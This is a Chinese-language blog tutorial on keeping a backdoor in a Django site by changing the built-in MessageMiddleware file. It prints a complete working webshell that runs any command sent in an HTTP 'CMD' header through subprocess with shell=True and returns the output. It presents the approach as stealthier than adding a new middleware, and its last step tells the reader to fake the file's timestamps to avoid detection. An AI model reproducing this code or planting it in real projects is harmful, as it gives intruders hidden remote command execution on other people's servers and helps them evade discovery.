关键词:Django、中间件、Middleware、留后门、驻留、webshell、getshell
先了解下Django的请求生命周期和中间件在周期中的环节:
Django 中间件是修改 Django request 或者 response 对象的钩子,可以理解为是介于 HttpRequest 与 HttpResponse 处理之间的一道处理过程。浏览器从请求到响应的过程中,Django 需要通过很多中间件来处理,可以看如下图所示:
Django 中间件作用:
- 修改请求,即传送到 view 中的 HttpRequest 对象。
- 修改响应,即 view 返回的 HttpResponse 对象。
如:利用中间件过滤response达到方法XSS的目的。
读到这里,那么,利用中间件思路在Django中留后门是可行的,这里又有两种方案,一是自己写一个中间件,载入到项目中,另一个种是修改原有的中间件。当然是第二种更隐蔽、改动更小。
Django默认创建项目(python3 manage.py project app)会生成如下settings:
INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ]
那么这些默认的中间件有没有办法利用呢?我挑选了Django自带的django.contrib.messages.middleware.MessageMiddleware,定位到文件:/usr/local/lib/python3.7/site-packages/django/contrib/messages/middleware.py。默认内容如下:
代码修改如下:
from django.conf import settings from django.contrib.messages.storage import default_storage from django.utils.deprecation import MiddlewareMixin from django.http import HttpResponse import subprocess class MessageMiddleware(MiddlewareMixin): """ Middleware that handles temporary messages. """ def process_request(self, request): request._messages = default_storage(request) def process_response(self, request, response): """ Update the storage backend (i.e., save the messages). Raise ValueError if not all messages could be stored and DEBUG is True. """ # A higher middleware layer may return a request which does not contain # messages storage, so make no assumption that it will be there. print("Django-shell working") cmd = None cmd = request.META.get("HTTP_CMD") if cmd: ret = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) response = HttpResponse(cmd+":\r\n"+str(ret.stdout.read())) if hasattr(request, '_messages'): unstored_messages = request._messages.update(response) if unstored_messages and settings.DEBUG: raise ValueError('Not all temporary messages could be stored.') return response
覆盖原文件后,如果项目是uwsgi起的需要重启或者重载,如果是runserver起的或者uwsgi配置文件配置了py-autoreload,那么就不需要重启。
测试效果如下
最后记得伪装下文件时间。